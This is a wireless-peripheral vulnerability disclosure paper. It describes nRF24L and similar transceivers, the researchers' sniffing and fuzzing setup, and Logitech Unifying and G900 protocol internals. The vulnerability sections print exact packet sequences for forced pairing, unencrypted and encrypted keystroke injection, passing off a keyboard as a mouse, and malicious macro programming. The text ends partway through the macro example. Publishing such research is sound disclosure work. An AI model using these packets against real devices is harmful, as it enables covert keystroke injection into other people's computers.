Hewlett-Packard, Anker, Kensing-
ton, RadioShack, HDE, Insignia,
EagleTec, ShhhMouse
July 26, 2016
BN-0011
Firmware fix bypass - unencrpyted
keystroke injection
Logitech, Dell
July 26, 2016
BN-0012
Unencrypted keystroke injection
Logitech
July 26, 2016
BN-0013
Encrypted keystroke injection
Logitech, Dell, AmazonBasics,
Lenovo
July 26, 2016
BN-0014
Unencrypted keystroke injection /
keystroke sniffing
Toshiba
July 26, 2016
BN-0015
Unencrypted keystroke injection /
keystroke sniffing
GE
July 26, 2016
BN-0016
Malicious macro programming
Logitech
July 26, 2016
3
Transceivers
Transceivers used in the a↵ected devices fall into two categories: general purpose transceivers with vendor specific
protocols, and purpose built wireless mouse and keyboard transceivers. The general purpose transceivers provide
a mechanism to wirelessly transmit data between two devices, but the functionality that turns mouse clicks and
keypresses into bytes sent over the air is implemented by each vendor. The purpose built transceivers have mouse
and keyboard logic baked into them, giving the vendors little to no control over the protocol.
All of the transceivers operate in the 2.4GHz ISM band at 1MHz channel boundaries and use GFSK modulation.
The data rates range from 500kbps to 2Mbps, and the packet formats and protocols vary between vendors and
devices.
3.1
Nordic Semiconductor nRF24L
Nordic Semiconductor makes the popular nRF24L series of general purpose, 2.4GHz GFSK transceivers. Five
common variations of the nRF24L o↵er di↵erent functionality depending on the application. Flash memory based
transceivers support firmware updates (assuming this has been implemented by the vendor), whereas OTP (one-
time-programmable) transceivers cannot be reprogrammed after they leave the factory. Many of the vulnerable
5
devices cannot be fixed as a result of using OTP transceivers.
nRF24L Transceiver Family
Transceiver
8051 MCU
128-bit AES
USB
Memory
nRF24L01+
No
No
No
N/A
nRF24LE1
Yes
Yes
No
Flash
nRF24LE1 OTP
Yes
Yes
No
OTP
nRF24LU1+
Yes
Yes
Yes
Flash
nRF24LU1+ OTP
Yes
Yes
Yes
OTP
Table 1: nRF24L Transceiver Family
The nRF24L transceivers use a star network configuration, and each node is able to transmit and receive on a
maximum of six RF addresses at a time. This allows up to six wireless mice or keyboards to communicate with a
single USB dongle, depending on the vendor specific implementation.
The nRF24L01 does not include an MCU, so it must be paired with an external microprocessor. The nRF24LU1+
and nRF24LE1 variants include an MCU and support for 128-bit AES encryption, and are commonly used in
USB dongles and wireless keyboards to support encrypted communication. The nRF24LE1 is also used in wire-
less mice, but none of the evaluated mice utilize encryption.
Two packet formats are o↵ered: Shockburst, and Enhanced Shockburst. Shockburst is a legacy packet format
which uses fixed length payloads, and is not commonly used in modern devices. Enhanced Shockburst o↵ers vari-
able length payloads, auto acknowledgement, and auto retransmit. Additionally, Enhanced Shockburst supports
ACK payloads, which enable a receiver to attach a payload to an ACK packet. This makes it possible for a de-
vice to operate exclusively in receive mode without sacrificing the ability to transmit to other nodes.
Nordic Semiconductor nRF24L transceivers are used in products from Logitech, Microsoft, Dell, Lenovo, Hewlett-
Packard, Gigabyte, and Amazon.
Preamble
1 byte
Address
3-5 bytes
Payload
1-32 bytes
CRC
1-2 bytes
Figure 1: Shockburst packet format
Preamble
1 byte
Address
3-5 bytes
Packet Control Field
9 bits
Payload Length
6 bits
PID
2 bits
No ACK
1 bits
Payload
0-32 bytes
CRC
1-2 bytes
Figure 2: Enhanced Shockburst packet format
3.2
Texas Instruments CC254X
Logitech uses Texas Instruments CC254X transceivers in some of their products, running firmware compatible
with Nordic Semiconductor Enhanced Shockburst. The Logitech Unifying wireless protocol and related vulnera-
6
bilities are agnostic of the underlying hardware, and references to Enhanced Shockburst in the Logitech Unifying
section of this document can refer to ESB running on nRF24L or CC254X based hardware.
3.3
MOSART Semiconductor
MOSART Semiconductor produces unencrypted 2.4GHz GFSK transceivers used in wireless mice and keyboards
from many vendors. Documentation was not available, but identical protocol behavior across vendors points to
a purpose built transceiver with little or no vendor customization. All wireless keyboards using these transceivers
are vulnerable to keystroke sniffing and injection.
MOSART Semiconductor transceivers are used in devices from Hewlett-Packard, Anker, Kensington, RadioShack,
HDE, Insignia, EagleTec, and ShhhMouse.
3.4
Signia SGN6210
The Signia SGN6210 is an unencrypted, general purpose, 2.4GHz GFSK transceiver used in wireless mice and
keyboards from Toshiba. Partial documentation was available, but reverse engineering was required to determine
the specific physical layer configuration and packet format.
3.5
GE Mystery Transceiver
An unknown transceiver is used in the GE 98614 wireless keyboard and mouse. Reverse engineering e↵orts re-
vealed that it is an unencrypted 2.4GHz GFSK transceiver, but it is unclear if the communication protocol is spe-
cific to the transceiver or implementation.
4
Research Process
The motivation for this project came from a Logitech white paper which states, ”Since the displacements of a
mouse would not give any useful information to a hacker, the mouse reports are not encrypted.”[2] The initial
goal was to reverse engineer a Logitech M510 mouse, using a software defined radio, in order to explore the above
statement.
4.1
Software Defined Radio
The nRF24L transceivers used in Logitech mice support multiple data rates, address lengths, packet formats, and
checksums. To accommodate this, the initial research was performed using a USRP B210 software defined ra-
dio, coupled with a custom GNU Radio block designed to decode all of the possible packet configurations. This
proved fruitful, but there were drawbacks to using an SDR.
Logitech mice do not employ frequency hopping in the traditional sense, but they change channels to avoid inter-
ference from other 2.4GHz devices (Bluetooth, WiFi, etc). The channel hopping is generally unpredictable, and
Software Defined Radios are slower to retune than the nRF24L radios. This makes it difficult for an SDR based
decoder to observe all of the transmitted packets.
When a Logitech mouse transmits a movement packet to a dongle, the dongle replies with an acknowledgement
packet telling the mouse that the movement packet was received. The mouse waits for a short period before de-
termining that the packet it transmitted was lost, which can be as short as 250 microseconds. Due to USB la-
tency and processing overhead, the SDR based decoder is unable to transmit ACKs within the narrow timeout
window, so two way communication between an SDR and dongle/mouse was not a viable option.
4.2
NES Controller
The SDR decoder made it possible to figure out the formats of the data being transmitted over the air, but reli-
able two way communication was necessary to reverse engineer the protocol and start looking for potential weak-
nesses.
7
Parallel to the Logitech mouse research, an Arduino/nRF24L-based NES controller was being built as part of a
Burning Man project. The nRF24L was chosen for the Burning Man project because they are inexpensive and
easy to use, but it quickly became apparent that the NES controller could also serve as a useful research tool.
The nRF24L chips do not officially support packet sniffing, but Travis Goodspeed documented a pseudo-promiscuous
mode in 2011 which makes it possible to sni↵ a subset of packets being transmitted by other devices. This en-
abled the NES controller to passively identify nearby Logitech wireless mice without the need for an SDR.
Building on this, the NES controller was modified to transmit the reverse engineered Logitech mouse packet for-
mats, and proved to be an excellent research tool. As opposed to passively collecting data, the NES controller
translated d-pad arrows into mouse movement packets, and A/B buttons into left and right clicks. Achieving a
smooth user experience necessitated reverse engineering the exact mouse behavior expected by the dongle.
The concept worked well, and the NES controller was presented at ToorCon in 2015, which demonstrated the vi-
ability of controlling previously unseen wireless mice at will. Despite being a marked improvement over the SDR
decoder, the NES controller was not without problems. Running o↵ of battery power made it impractical to use
amplified transceivers, limiting the practical range to about 10 meters.
4.3
CrazyRadio PA Dongles
The Crazyflie is an open source drone which is controlled with an amplified nRF24L-based USB dongle called
the Crazyradio PA. This is equivalent to an amplified version of the USB dongles commonly used with wireless
mice and keyboards, and increased the communication range to over 200 meters. Modifying the Crazyradio PA
firmware to include support for pseudo-promiscuous mode made it possible to distill the packet sniffing and injec-
tion functionality down to a minimal amount of Python code.
4.4
Fuzzing
The Crazyradio PA dongles made it possible to implement an efficient and e↵ective fuzzer. Mouse and keyboard
USB dongles communicate user actions to the operating system in the form of USB HID packets, which can be
sni↵ed by enabling the usbmon kernel module on Linux.
The implemented fuzzer took advantage of this by transmitting RF packets to a mouse/keyboard dongle attached
to the same computer, and monitoring USB traffic for generated USB HID packets. Anytime mouse movement
or keypresses were sent to the operating system, the recently transmitted RF packets were recorded for analysis.
Fuzzing variants of observed packet formats and behaviors yielded the best results.
4.5
First Vulnerability and Beyond
The first vulnerability was identified shortly after ToorCon, enabling unencrypted keystroke injection targeting
Logitech wireless keyboards. This prompted an investigation into 2.4GHz non-Bluetooth wireless mice and key-
boards from other vendors, eventually expanding into the full set of vendors, devices, and vulnerabilities covered
in this document.
5
Logitech Unifying
Unifying is a proprietary protocol widely used by Logitech wireless mice and keyboards. The protocol is centered
around the ability to pair any Unifying device to any Unifying dongle, with backward compatibility to the initial
launch in 2009.
Unifying is implemented as a layer on top of Enhanced Shockburst, but is not exclusive to Nordic Semiconductor
hardware. The majority of Unifying devices use Nordic Semiconductor nRF24L transceivers, with the rest us-
ing Texas Instruments CC254X transceivers. All devices are compatible over-the-air regardless of the underlying
hardware.
8
All Unifying packets use either a 5, 10, or 22 byte ESB payload length. In addition to the 2-byte CRC provided
by the Enhanced Shockburst packet, Unifying payloads are protected by a 1-byte checksum.
Preamble
1 byte
Address
5 bytes
PCF
9 bits
Enhanced Shockburst Payload
5, 10, or 22 bytes
Unifying Payload
4, 9, or 21 bytes
Checksum
1 byte
CRC
2 bytes
Figure 3: Logitech Unifying packet format
Radio Configuration
Channels (MHz)
2402 - 2474, 3MHz spacing
Data Rate
2Mbps (2MHz GFSK)
Address Length
5 bytes
CRC Length
2 bytes
ESB Payload Lengths
5, 10, 22
Table 2: Logitech Unifying radio configuration
5.1
Encryption
Keypress packets are encrypted with 128-bit AES, using a key generated during the pairing process[2]. The spe-
cific key generation algorithm is unknown, but BN-0013 demonstrates that encrypted keystroke injection is possi-
ble without knowledge of the AES key.
5.2
General Operation
Dongles always operate in receive mode, and paired devices in transmit mode. A dongle cannot actively transmit
to a paired device, and instead uses ACK payloads to send commands to a device. All payloads share the same
basic format, whether transmitted by a paired device, or included with a dongle’s ACK.
All Unifying payloads use the structure show in Figure 4, with an (optional) device index, frame type, data, and
checksum.
Device Index
1 byte
Frame Type
1 byte
Data
2, 7, or 19 bytes
Checksum
1 byte
Figure 4: Logitech Unifying payload format
5.2.1
Addressing
The upper 4 address bytes are the dongle serial number, and are the same for all paired devices. The lowest ad-
dress byte is the ID of a specific paired device, or 0x00 when directly addressing the dongle.
9
Example RF Addressing
Dongle serial number
7A:77:94:DE
Dongle RF address
7A:77:94:DE:00
Paired device 1 RF address
7A:77:94:DE:07
Paired device 2 RF address
7A:77:94:DE:08
Paired device 3 RF address
7A:77:94:DE:09
Table 3: Logitech Unifying addressing scheme
Up to 6 devices can be paired with a dongle at any given time, which results in 7 total RF addresses, but the
nRF24L RFICs are limited to 6 simultaneous receive pipes. Device index 0x00 (dongle address) is always en-
abled, so a maximum of 5 Unifying devices can be used simultaneously with a single dongle. As a result, a mouse
or keyboard cannot guarantee that its dongle will be listening on its RF address when first switched on.
An alternate addressing scheme enables a paired device to transmit to the dongle’s RF address, specifying its de-
vice index in the payload instead of the low address byte. When transmitting to the RF address of a dongle, the
first byte of the payload identifies the device index.
When a device is first switched on, it transmits a wakeup message to the RF address of the dongle it is paired
to. This causes the dongle to start listening on the RF address of the device if it is not doing so already. Two
wakeup packet formats have been observed.
5.2.2
Keepalives and Channel Hopping
Unifying uses an opportunistic frequency hopping scheme which remains on a given channel as long as there is no
packet loss. In order to quickly respond to poor channel conditions, a device sends periodic keepalive packets to
its dongle. If a keepalive is missed, the dongle and paired device move to a di↵erent channel.
The keepalive interval is set by the device, and is backed o↵ with inactivity. A lower interval provides faster re-
sponsiveness to changing channel conditions at the cost of higher power consumption.
All attacks against Logitech Unifying devices depend on the ability to reliably transmit packets to a target USB
dongle. In order to accomplish this, an attacker needs to mimic the keepalive behavior used by Unifying key-
boards and mice. By setting the keepalive timeout lower than the target device, there is no risk of a timed-out
device causing the dongle to unexpectedly channels.
Unused
1 byte
Frame Type (0x4F)
1 byte
Unused
1 byte
Timeout
2 bytes
Unused
4 bytes
Checksum
1 byte
Figure 5: Logitech Unifying set keepalive payload timeout
Unused
1 byte
Frame Type (0x40)
1 byte
Timeout
2 bytes
Checksum
1 byte
Figure 6: Logitech Unifying keepalive payload
5.3
Mouse Input
Mouse packets are transmitted unencrypted, and are documented in Table 6.
10
5.4
Keyboard Input
Most keyboard packets are encrypted using 128-bit AES, with the exception of consumer control HID device class
keys (volume control, browser navigation, etc). The encrypted and unencrypted keystroke packets use di↵erent
payload formats as described below.
5.5
Dongle to Device Communication
When a dongle needs to send a command to a paired device, it does so by attaching a payload to the next ACK
that it transmits. This enables two way communication when the target device is active, but does not provide a
way to query an inactive device. ACK payloads are used to request device status, as well as during pairing and
other configuration tasks.
5.6
Pairing
Host software enables pairing mode on the dongle over USB. Once pairing mode has been enabled, the dongle lis-
tens for new pairing requests on the fixed pairing address BB:0A:DC:A5:75 for 30-60 seconds.
When a wireless mouse or keyboard is switched on, it first attempts to reconnect with its paired dongle by trans-
mitting wake-up packets. If it cannot find its paired dongle, it transmits a pairing request to the fixed pairing ad-
dress to initiate the pairing process.
Firmware on Unifying dongles is not automatically updated, so the pairing process needs to be generic in order to
support new devices. This is achieved by having the device specify its model, capabilities, name, and serial num-
ber during pairing. An example pairing exchange is show below.
1
BB:0A:DC:A5:75
15:5F:01:84:5E:3A:A2:57:08:10:25:04:00:01:47:00:00:00:00:00:01:EC
Initial pairing request with product ID 10:25 (M510 mouse), transmitted from a mouse to a dongle at ad-
dress BB:0A:DC:A5:75. Packet format is described in figure 10.
2
BB:0A:DC:A5:75
15:1F:01:9D:65:CB:58:30:08:88:02:04:01:01:07:00:00:00:00:00:00:D7
Reply containing the new RF address assigned to the mouse in bytes 3-7 of the payload, transmitted from
a dongle to a mouse at address BB:0A:DC:A5:75. Packet format is described in figure 11.
3
9D:65:CB:58:30
00:5F:02:01:02:03:04:58:8A:51:EA:1E:40:00:00:01:00:00:00:00:00:19
Payload containing the serial number of the mouse and its USB HID capabilities, transmitted from a
mouse to a dongle at address 9D:65:CB:58:30. Packet format is described in figure 12.
4
9D:65:CB:58:30
00:1F:02:BE:7E:7F:D5:58:8A:51:EA:1E:40:00:00:01:00:00:00:00:00:D3
Response echoing back the serial number and USB HID capabilities of the mouse, transmitted from a don-
gle to a mouse at address 9D:65:CB:58:30. Packet format is described in figure 13.
5
9D:65:CB:58:30
00:5F:03:01:04:4D:35:31:30:00:00:00:00:00:00:00:00:00:00:00:00:B6
Payload containing the human readable device name as ASCII bytes, transmitted from a mouse to a don-
gle at address 9D:65:CB:58:30. Packet format is described in figure 14.
11
6
9D:65:CB:58:30
00:0F:06:02:03:7F:D5:58:8A:B0
Response echoing back bytes from the previous pairing packets, transmitted from a dongle to a mouse at
address 9D:65:CB:58:30. Packet format is described in figure 15.
7
9D:65:CB:58:30
00:0F:06:01:00:00:00:00:00:EA
Message indicating that pairing is complete, transmitted from a mouse to a dongle at address
9D:65:CB:58:30. Packet format is described in figure 16.
5.7
Vulnerabilities
5.7.1
Forced Pairing (BN-0001)
When a Logitech Unifying dongle is put into pairing mode, the dongle listens for pairing requests for a limited
time on address BB:0A:DC:A5:75. When a device attempts to pair with a dongle, it transmits a pairing request
to this address.
This prevents devices from pairing with a dongle when it is not in pairing mode, because their pairing requests
will only be accepted when the dongle is listening on the pairing address.
It is possible to force-pair a device when the dongle is not in pairing mode by transmitting the same pairing re-
quest to the address of an already paired mouse or keyboard. The dongle accepts the pairing request when it is
received on any address that the dongle is currently listening on.
The following exchange, shown as Enhanced Shockburst payloads, results in a new device being paired with a
dongle. The device will show up as an M510 mouse with a serial number of 12345678.
1
EA:E1:93:27:14
7F 5F 01 31 33 73 13 37 08 10 25 04 00 02 0C 00 00 00 00 00 71 40
Initial pairing request with product ID 10:25 (M510 mouse), transmitted from a malicious device to a don-
gle at address EA:E1:93:27:14. Packet format is described in figure 10.
2
EA:E1:93:27:14
7F 1F 01 EA E1 93 27 15 08 88 02 04 00 02 04 00 00 00 00 00 00 2B
Reply containing the new RF address assigned to the mouse in bytes 3-7 of the payload, transmitted from
a dongle to a malicious device at address EA:E1:93:27:14. Packet format is described in figure 11.
3
EA:E1:93:27:15
00 5F 02 00 00 00 00 12 34 56 78 04 00 00 00 01 00 00 00 00 00 86
Payload containing the serial number 12345678 and USB HID capabilities for a mouse (0400), transmitted
from a malicious device to a dongle at address EA:E1:93:27:15. Packet format is described in figure 12.
4
EA:E1:93:27:15
00 1F 02 0F 6B 4F 67 12 34 56 78 04 00 00 00 01 00 00 00 00 00 96
Response echoing back the serial number and USB HID capabilities of the malicious device, transmitted
from a dongle to a malicious device at address EA:E1:93:27:15. Packet format is described in figure 13.
5
EA:E1:93:27:15
00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 00 B6
Payload containing the device name M510 as ASCII text, transmitted from a malicious device to a dongle
at address EA:E1:93:27:15. Packet format is described in figure 14.
12
6
EA:E1:93:27:15
00 0F 06 02 03 4F 67 12 34 EA
Response echoing back bytes from the previous pairing packets, transmitted from a dongle to a malicious
device at address EA:E1:93:27:15. Packet format is described in figure 15.
7
EA:E1:93:27:15
00:0F:06:01:00:00:00:00:00:EA
Message indicating that pairing is complete, transmitted from a malicious device to a dongle at address
EA:E1:93:27:15. Packet format is described in figure 16.
5.7.2
Unencrypted Keystroke Injection (BN-0002)
Logitech Unifying keyboards encrypt keyboard packets using 128-bit AES, but do not encrypt multimedia key
packets, or mouse packets (on keyboards with touchpads). The unencrypted multimedia key / mouse packets are
converted to HID++ packets by the dongle, and forwarded to the host.
When the dongle receives an unencrypted keyboard packet, it converts it to an HID++ packet and forwards it
to the host in the same manner. This makes it possible to inject keyboard packets without knowledge of the AES
key.
Transmitting the following two packets to the RF address of a paired keyboard will generate a keypress of the let-
ter ’a’.
1
EA:E1:93:27:21
00:C1:00:04:00:00:00:00:00:3B
Unencrypted keypress packet with the HID scan code for ’a’ specified (04), transmitted from a malicious
device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6.
2
EA:E1:93:27:21
00:C1:00:00:00:00:00:00:00:3F
Unencrypted keypress packet with no HID scan codes specified (key release), transmitted from a malicious
device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6.
The second octet, 0xC1, indicates that this is a keyboard packet, and the fourth octet contains the keyboard scan
code. In this example, the first packet represents the depressing the ’a’ key, and the second packet represents re-
leasing it. The final octet in each packet is the checksum.
5.7.3
Disguise Keyboard as Mouse (BN-0003)
When a mouse or keyboard is paired to a Logitech Unifying dongle, the new device provides the dongle with its
product ID, name, serial number, and a bitmask of the HID frame types that it can generate.
It is possible to pair a device that presents itself as a mouse to the host OS, but is capable of generating key-
board HID frames. This allows keystrokes to be injected into the host without the user seeing a paired keyboard.
The following exchange results in a new device being paired with a dongle. The device will show up as an M510
mouse with a serial number of 12345678, but will have the same HID capabilities as a K400r keyboard.
1
EA:E1:93:27:16
7F 5F 01 31 33 73 13 37 08 10 25 04 00 02 0C 00 00 00 00 00 71 40
Initial pairing request with product ID 10:25 (M510 mouse), transmitted from a malicious device to a don-
gle at address EA:E1:93:27:16. Packet format is described in figure 10.
13
2
EA:E1:93:27:16
7F 1F 01 EA E1 93 27 16 08 88 02 04 00 02 04 00 00 00 00 00 00 2A
Reply containing the new RF address assigned to the mouse in bytes 3-7 of the payload, transmitted from
a dongle to a malicious device at address EA:E1:93:27:16. Packet format is described in figure 11.
3
EA:E1:93:27:16
00 5F 02 00 00 00 00 12 34 56 78 1E 40 00 00 01 00 00 00 00 00 86
Payload containing the serial number 12345678 and USB HID capabilities for a K400r keyboard (1E40),
transmitted from a malicious device to a dongle at address EA:E1:93:27:16. Packet format is described in
figure 12.
4
EA:E1:93:27:16
00 1F 02 19 0B 12 49 12 34 56 78 1E 40 00 00 01 00 00 00 00 00 ED
Response echoing back the serial number and USB HID capabilities of the malicious device, transmitted
from a dongle to a malicious device at address EA:E1:93:27:16. Packet format is described in figure 13.
5
EA:E1:93:27:16
00 5F 03 01 04 4D 35 31 30 00 00 00 00 00 00 00 00 00 00 00 00 B6
Payload containing the device name M510 as ASCII text, transmitted from a malicious device to a dongle
at address EA:E1:93:27:16. Packet format is described in figure 14.
6
EA:E1:93:27:16
00 0F 06 02 03 08 97 12 34 01
Response echoing back bytes from the previous pairing packets, transmitted from a dongle to a malicious
device at address EA:E1:93:27:16. Packet format is described in figure 15.
7
EA:E1:93:27:16
00:0F:06:01:00:00:00:00:00:EA
Message indicating that pairing is complete, transmitted from a malicious device to a dongle at address
EA:E1:93:27:16. Packet format is described in figure 16.
5.7.4
Unencrypted Keystroke Injection Fix Bypass (BN-0011)
In order to address the reported vulnerabilities BN-0001, BN-0002, and BN-0003, Logitech released firmware
updates for both the nRF24L and TI-CC254X variants of the Unifying dongles. The updated firmware success-
fully fixed the pairing vulnerabilities, but failed to fix the unencrypted keystroke injection vulnerability in certain
cases.
On a computer with a clean install of Windows 10, a Unifying dongle with the updated firmware does not accept
unencrypted keystrokes. However, there are several situations in which keystroke injection continued to work.
1. When Logitech SetPoint is installed on Windows, keystroke injection starts working again.
2. The fix failed to correct the keystroke injection vulnerability on Linux.
3. The fix failed to correct the keystroke injection vulnerability on OSX.
5.7.5
Encrypted Keystroke Injection (BN-0013)
Logitech Unifying keyboards encrypt keyboard packets using 128-bit AES, but the implementation makes it pos-
sible to infer the ciphertext and inject malicious keystrokes.
14
An ’a’ keypress causes the following two RF packets to be transmitted from the keyboard to the dongle:
00 D3 EA 98 B7 30 EE 49 59 97 9C C2 AC DA 00 00 00 00 00 00 00 B9 // ’a’ key down
00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // ’a’ key up
Octets 2-8 are the encrypted portion of the payload, and octets 9-13 appear to be a 4-byte AES counter preceded
by a checksum or parity byte.
The unencrypted octets 2-8 are as follows:
00 00 00 00 00 00 04 // ’a’ key down
00 00 00 00 00 00 00 // ’a’ key up
Due to the fact that a ’key up’ keyboard HID packet consists of all 0x00 bytes, one can infer that octets 2-8 of
the second packet represent the ciphertext for the counter/checksum in bytes 9-13.
Using this knowledge, it is possible to inject arbitrary encrypted keystrokes without knowledge of the encryption
key.
In this scenario, transmitting the following two RF packets will cause a ’b’ keystroke to be sent to the host com-
puter:
00 D3 5C C8 88 A3 F8 CC 98 5F 9C C2 AC DB 00 00 00 00 00 00 00 3E // ’b’ key down
00 D3 5C C8 88 A3 F8 CC 9D 5F 9C C2 AC DB 00 00 00 00 00 00 00 39 // ’b’ key up
Octet 8 of the first packet, the last encrypted byte, has been XOR’d with 0x05, the HID scan code for ’b’. The
second packet is the unchanged ’key up’ packet previously observed.
5.8
Logitech Unifying Packet Formats
Logitech Wake-up Payload
Field
Length
Description
Device Index
1 byte
last octet of the device’s RF address
Frame Type
1 byte
51
Device Index
1 byte
last octet of the device’s RF address
??
1 byte
varies between devices, and the specific value does not appear to matter
??
1 byte
00
??
3 bytes
01:01:01
Unused
13 bytes
Checksum
1 byte
Table 4: Logitech Wake-up Payload
15
Logitech Wake-up Payload 2
Field
Length
Description
Device Index
1 byte
last octet of the device’s RF address
Frame Type
1 byte
50
??
1 byte
01
??
1 byte
4B
??
1 byte
01
Unused
4 bytes
Checksum
1 byte
Table 5: Logitech Wake-up Payload 2
Logitech Mouse Payload
Field
Length
Description
Unused
1 byte
Frame Type
1 bytes
0xC2
Button Mask
1 bytes
flags indicating the state of each button
Unused
1 bytes
Movement
3 bytes
pair of 12-bit signed integers representing X and Y cursor velocity
Wheel Y
1 bytes
scroll wheel Y axis (up and down scrolling)
Wheel X
1 bytes
scroll wheel X axis (left and right clicking)
Checksum
1 byte
Table 6: Logitech Mouse Payload
Logitech Encrypted Keystroke Payload
Field
Length
Description
Unused
1 byte
Frame Type
1 bytes
0xD3
Keyboard HID Data
7 bytes
??
1 byte
AES counter
4 bytes
Unused
7 bytes
Checksum
1 byte
Table 7: Logitech Encrypted Keystroke Payload
16
Logitech Unencrypted Keystroke Payload
Field
Length
Description
Unused
1 byte
Frame Type
1 bytes
Keyboard HID Data
7 bytes
Checksum
1 byte
Table 8: Logitech Unencrypted Keystroke Payload
Logitech Multimedia Key Payload
Field
Length
Description
Unused
1 byte
Frame Type
1 bytes
0xC3
Multimedia Key Scan Codes
4 bytes
USB HID multimedia key scan codes
Unused
3 bytes
Checksum
1 byte
Table 9: Logitech Multimedia Key Payload
Logitech Pairing Request 1 Payload
Field
Length
Description
ID
1 byte
temporary ID, randomly generated by the pairing device
Frame Type
1 bytes
frame type
Step
1 bytes
identifies the current step in the pairing process
??
5 bytes
Some devices fill this field with their previously paired RF address, and others fill it
with random data. The value does not appear to a↵ect the pairing process.
??
1 bytes
unknown usage, always observed as 0x08
Product ID
2 bytes
??
2 bytes
Device Type
2 bytes
this field specifies the USB HID device type; observed values include 02:0C (M510
mouse) and 01:47 (K830 keyboard)
??
5 bytes
??
1 byte
any nonzero value
Checksum
1 byte
Table 10: Logitech Pairing Request 1 Payload
17
Logitech Pairing Response 1 Payload
Field
Length
Description
ID
1 byte
temporary ID, randomly generated by the pairing device
Frame Type
1 bytes
Step
1 bytes
identifies the current step in the pairing process
Address
5 bytes
new RF address assigned to the pairing device
??
1 bytes
unknown usage, always observed as 0x08
Product ID
2 bytes
??
4 bytes
Device Type
2 bytes
this field specifies the USB HID device type; observed values are 02:0C (M510) and
01:47 (K830)
??
6 bytes
Checksum
1 byte
Table 11: Logitech Pairing Response 1 Payload
Logitech Pairing Request 2 Payload
Field
Length
Description
Unused
1 byte
Frame Type
1 bytes
Step
1 bytes
identifies the current step in the pairing process
Crypto
4 bytes
data potentially used during AES key generation; mice transmit 4 0x00 bytes, and
keyboards transmit 4 random bytes
Serial Number
4 bytes
device serial number
Capabilities
2 bytes
device capabilities; observed values are 04:00 (mouse) and 1E:40 (keyboard)
??
8 bytes
Checksum
1 byte
Table 12: Logitech Pairing Request 2 Payload
18
Logitech Pairing Response 2 Payload
Field
Length
Description
Unused
1 byte
Frame Type
1 bytes
Step
1 bytes
identifies the current step in the pairing process
Crypto
4 bytes
data potentially used during AES key generation; appears to be randomly gener-
ated
Serial Number
4 bytes
device serial number
Capabilities
2 bytes
device capabilities; observed values are 04:00 (mouse) and 1E:40 (keyboard)
??
8 bytes
Checksum
1 byte
Table 13: Logitech Pairing Response 2 Payload
Logitech Pairing Request 3 Payload
Field
Length
Description
Unused
1 byte
Frame Type
1 byte
Step
1 byte
??
2 bytes
Device Name Length
1 byte
Device Name
16 bytes
Checksum
1 byte
Table 14: Logitech Pairing Request 3 Payload
Logitech Pairing Response 3 Payload
Field
Length
Description
Unused
1 byte
temporary ID, randomly generated by the pairing device
Frame Type
1 byte
Step
1 byte
Crypto
2 bytes
bytes 1-2 of the potential crypto setup data sent by the device
Crypto
4 bytes
bytes 0-3 of the potential crypto setup data sent by the dongle
Checksum
1 byte
Table 15: Logitech Pairing Response 3 Payload
19
Logitech Pairing Complete Payload
Field
Length
Description
Unused
1 byte
temporary ID, randomly generated by the pairing device
Frame Type
1 byte
Step
1 byte
??
6 bytes
bytes 1-2 of the potential crypto setup data sent by the device
Checksum
1 byte
Table 16: Logitech Pairing Complete Payload
6
Logitech G900
The Logitech G900 gaming mouse employs a protocol similar to Unifying, with several distinctions.
• No pairing support (mouse and dongle are permanently paired)
• Fewer and di↵erent RF channels
• More aggressive keepalive timeouts
The protocol and device behavior is otherwise the same as Unifying, and can be thought of as a permanently
paired Unifying dongle/device set.
Radio Configuration
Channels (MHz)
2402, 2404, 2425, 2442, 2450, 2457, 2479, 2481
Data Rate
2Mbps (2MHz GFSK)
Address Length
5 bytes
CRC Length
2 bytes
ESB Payload Lengths
5, 10, 11, 22
Table 17: Logitech G900 radio configuration
6.1
Vulnerabilities
6.1.1
Unencrypted Keystroke Injection (BN-0012)
The Logitech G900 includes functionality to transmit keystrokes in response to specific button clicks. When this
feature is used, the keystrokes are transmitted unencrypted, meaning that the dongle supports receiving unen-
crypted keystrokes.
Transmitting the following two packets to the RF address of a paired keyboard will generate a keypress of the let-
ter ’a’.
1
EA:E1:93:27:21
00:C1:00:04:00:00:00:00:00:3B
Unencrypted keypress packet with the HID scan code for ’a’ specified (04), transmitted from a malicious
device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6.
20
2
EA:E1:93:27:21
00:C1:00:00:00:00:00:00:00:3F
Unencrypted keypress packet with no HID scan codes specified (key release), transmitted from a malicious
device to a dongle at address EA:E1:93:27:21. Packet format is described in figure 6.
The second octet, 0xC1, indicates that this is a keyboard packet, and the fourth octet contains the keyboard scan
code. In this example, the first packet represents the depressing the ’a’ key, and the second packet represents re-
leasing it. The final octet in each packet is the checksum.
6.1.2
Malicious Macro Programming (BN-0016)
Using the Logitech Gaming Software, a user can customize their G900 mouse to trigger keystroke macros when-
ever they click a specified mouse button. The macros are stored on the mouse itself, and do not depend on any
software being installed on the host computer.
The communication between the mouse and dongle is unencrypted, making it possible for an attacker to program
arbitrary macros into the mouse. The G900 dongle communicates with the G900 mouse by attaching payloads
to ACK packets going from the dongle back to the mouse. In order to maliciously program a macro into a tar-
get mouse, an attacker can ACK packets transmitted by a mouse, attaching ACK payloads with the specific com-
mands.
The G900 macro programming works by first transmitting data representing all of the available macro commands
to the mouse. Then, commands are transmitted to assign a specific macro to a specific mouse button.
The following exchange will program a macro to type the sequence ’abc’:
1
19:D3:AC:21:08
00 11 07 0E 6F 00 06 00 00 01 00 00 00 00 00 00 00 00 00 00 00 64
2
19:D3:AC:21:08
00 51 01 0E 6F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 31
3
19:D3:AC:21:08
00 11 07 0E 7F 43 00 04 44 00 04 43 00 05 44 00 05 43 00 06 44 AE
4
19:D3:AC:21:08
00 51 01 0E 7F 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20
5
19:D3:AC:21:08
00 11 07 0E 7F 00 06 FF FF FF FF FF FF FF FF FF FF FF FF FF FF 63
6
19:D3:AC:21:08
00 51 01 0E 7F 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1F
7
19:D3:AC:21:08
00 11 07 0E 7F FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 6B
8
19:D3:AC:21:08
00 51 01 0E 7F 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1E
9
